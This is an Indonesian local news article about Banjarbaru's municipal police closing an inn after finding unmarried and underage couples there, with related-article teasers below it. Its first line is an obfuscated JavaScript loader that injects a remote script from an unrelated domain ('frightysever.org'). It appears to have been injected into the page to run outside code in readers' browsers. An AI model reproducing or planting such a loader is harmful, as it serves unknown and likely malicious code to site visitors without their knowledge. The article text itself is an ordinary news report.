(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Berawal sejumlah temuan kegiatan bukan pasangan suami istri, Penginapan Saudara di Jalan Ahmad Yani KM 33,3 Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru, akhirnya ditutup.
Sebelum ditutup, Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru mendapati enam pemuda lawan jenis yang menempati kamar tertutup di penginapan tersebut.
Bahkan sebelum kena ciduk aparat penegak Perda, penginapan itu dijadikan tempat pemuda-pemudi masih di bawah umur diduga melakukan kegiatan tak senonoh.
Baca juga: Pengakuan Kakak dan Ipar Fredy Pratama di Sidang Cuci Uang Narkoba
Kepala Satpol PP Kota Banjarbaru, Hidayaturahman mengatakan, pemilik penginapan dengan sukarela menutup tempat usahanya setelah diberikan peringatan keras.
“Akibat dari itu kita memberikan sanksi kepada pengelola penginapan untuk penutupan penginapan tersebut,” ucap Kepala Satpol PP Kota Banjarbaru, Hidayaturahman, Senin (5/2/2024) sore.
“Berdasarkan hasil koordinasi dengan pemilik penginapan, pihaknya bersedia dengan kesadaran sendiri menutup penginapan tersebut termasuk menurunkan plang papan nama,” sambung dia.
Dia menjelaskan, petugas Satpol PP kembali turun ke lokasi, Senin (5/2/2024) sore, untuk melakukan pengawasan atas sanksi yang diberikan tersebut.
Baca juga: Mengintip Persiapan Imlek 2575 Klenteng Soetji Nurani Banjarmasin
Terhitung mulai Senin 5 Februari 2024 penginapan yang terletak di dalam sebuah gang itu tidak diperbolehkan melakukan kegiatan operasional.
Pantauan Kanalkalimantan.com, seluruh bilik kamar sudah ditutup dan dikunci. Hanya ada 2-3 pegawai penginapan yang terlihat menjaga di area depan kamar.
“Dari hasil pantauan, kita sudah melihat bahwa tidak ada aktivitas di penginapan itu, bahkan setiap kamarnya di kunci dan ada yang disegel juga, ini merupakan suatu kepatuhan dari pengelola penginapan yang sangat kami apresiasi,” sebut Dayat -sapaan akrabnya-.
Baca juga: Jalan Banjarbaru – Batulicin Longsor, Dinas PUPR Kalsel Segera Lakukan Ini
Dengan penutupan itu, disebutkan Dayat, pihak penginapan diminta untuk melakukan pembenahan manajemen dan sistem operasional.
“Sementara kita tutup total dulu, namun kita tidak menetapkan waktu, yang jelas mereka harus membenahi dulu manajemen dan sistem operasionalnya. Kalau memang mereka bisa meyakinkan kita bahwa sudah bisa bertindak sesuai dengan aturan mungkin kita bisa longgarkan lagi,” jelas Dayat.
Tentu, sambungnya, pembenahan harus dibarengi dengan adanya pembuktikan kelengkapan perizinan atau membuat izin yang baru.
Baca juga:Kepala SKPD Pemko Banjarbaru Tandatangani Perjanjian Kinerja
Jika kedapatan mengulang, petugas tidak segan untuk menghentikan operasional penginapan tersebut tidak bisa beroperasi lagi.
“Jika ditemukan lagi jelas kami akan tindakan lagi, bisa saja tindakan yang lebih keras untuk tidak lagi kita buka dan untuk mereka beroperasional di situ, di sisi lain kita pasti selalu melakukan pengawasan pasca kejadian,” tuntas Dayat. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
This website uses cookies.